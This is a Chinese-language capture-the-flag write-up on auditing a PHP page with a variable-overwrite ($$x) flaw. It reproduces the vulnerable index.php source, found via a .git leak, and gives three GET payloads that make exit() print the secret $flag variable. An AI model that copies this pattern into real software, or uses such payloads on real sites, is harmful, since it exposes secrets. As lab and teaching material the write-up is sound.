本题考点:php代码审计,变量覆盖漏洞
进入页面发现,找提示没找到,抓包也没有提示,试试扫目录吧
发现了.git那可能有git泄露
我直接使用githack的时候没有拿到源码只能借用别人的源码了
Index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
}
从最后一段代码中可以得知调用$flag变量即可获得flag,那么可以用变量覆盖漏洞,让exit输出flag变量
代码审计:
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach是php中的循环,这里的意思是把post里面的数据当作键对值,而$$x可以简单理解为$($x)就是括号里面的是变量的值,然后再加上前面的$符号组成新的变量,举个例子:
post数据为:
a=c
那么这里的键对值就为:$a=c
同理:
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
这里就是把get的数据参数传为变量
举例:
?b=c
那么键对值就为$b=$c
第一种方法:
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
遍历get方式传入数据的键值对,get['flag']===$x,要求?flag的值要等于get传参中的键名$x,且$x不能为flag
那么可以用?a=flag&flag=a
这里的$x就为a,参数flag的值为a,那么get['flag']=a,$x=a,$x!=flag,完成条件,推出程序,且输出变量,那么再加上变量覆盖就可以得到flag
Payload:?handsome=flag&a=flag&flag=a
第二种方法:
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
这里要求get和post都不能有flag参数,那么我们直接进行变量覆盖就会执行exit,并输出变量
所以payload:?yds=flag
第三种方法:
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
只要post参数为flag=flag或者get参数为flag=flag就执行exit并输出变量
所以payload:?is=flag&flag=flag